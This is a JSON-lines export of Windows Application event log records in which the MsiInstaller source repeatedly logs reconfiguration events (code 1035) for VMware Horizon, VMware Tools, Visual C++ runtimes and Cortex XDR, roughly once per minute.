{"@timestamp":1657395550272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170407}}
{"@timestamp":1657395550301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170408}}
{"@timestamp":1657395550331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170409}}
{"@timestamp":1657395550359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170410}}
{"@timestamp":1657395550385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170411}}
{"@timestamp":1657395550422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170412}}
{"@timestamp":1657395550449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170413}}
{"@timestamp":1657395610126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170414}}
{"@timestamp":1657395610153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170415}}
{"@timestamp":1657395610202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170416}}
{"@timestamp":1657395610240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170417}}
{"@timestamp":1657395610268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170418}}
{"@timestamp":1657395610299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170419}}
{"@timestamp":1657395610326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170420}}
{"@timestamp":1657395610351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170421}}
{"@timestamp":1657395610387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170422}}
{"@timestamp":1657395610415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170423}}
{"@timestamp":1657395670040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170424}}
{"@timestamp":1657395670067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170425}}
{"@timestamp":1657395670117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170426}}
{"@timestamp":1657395670156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170427}}
{"@timestamp":1657395670183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170428}}
{"@timestamp":1657395670213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170429}}
{"@timestamp":1657395670240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170430}}
{"@timestamp":1657395670265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170431}}
{"@timestamp":1657395670301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170432}}
{"@timestamp":1657395670327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170433}}
{"@timestamp":1657395729912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170434}}
{"@timestamp":1657395729938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170435}}
{"@timestamp":1657395729989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170436}}
{"@timestamp":1657395730028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170437}}
{"@timestamp":1657395730057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170438}}
{"@timestamp":1657395730087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170439}}
{"@timestamp":1657395730114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170440}}
{"@timestamp":1657395730140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170441}}
{"@timestamp":1657395730178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170442}}
{"@timestamp":1657395730205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170443}}
{"@timestamp":1657395789949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170444}}
{"@timestamp":1657395789975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170445}}
{"@timestamp":1657395790026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170446}}
{"@timestamp":1657395790065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170447}}
{"@timestamp":1657395790093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170448}}
{"@timestamp":1657395790124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170449}}
{"@timestamp":1657395790150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170450}}
{"@timestamp":1657395790176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170451}}
{"@timestamp":1657395790213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170452}}
{"@timestamp":1657395790242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170453}}
{"@timestamp":1657395850056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170454}}
{"@timestamp":1657395850083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170455}}
{"@timestamp":1657395850142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170456}}
{"@timestamp":1657395850185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170457}}
{"@timestamp":1657395850215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170458}}
{"@timestamp":1657395850246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170459}}
{"@timestamp":1657395850273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170460}}
{"@timestamp":1657395850299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170461}}
{"@timestamp":1657395850336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170462}}
{"@timestamp":1657395850362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170463}}
{"@timestamp":1657395910052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170464}}
{"@timestamp":1657395910079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170465}}
{"@timestamp":1657395910130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170466}}
{"@timestamp":1657395910169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170467}}
{"@timestamp":1657395910197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170468}}
{"@timestamp":1657395910228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170469}}
{"@timestamp":1657395910255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170470}}
{"@timestamp":1657395910282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170471}}
{"@timestamp":1657395910319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170472}}
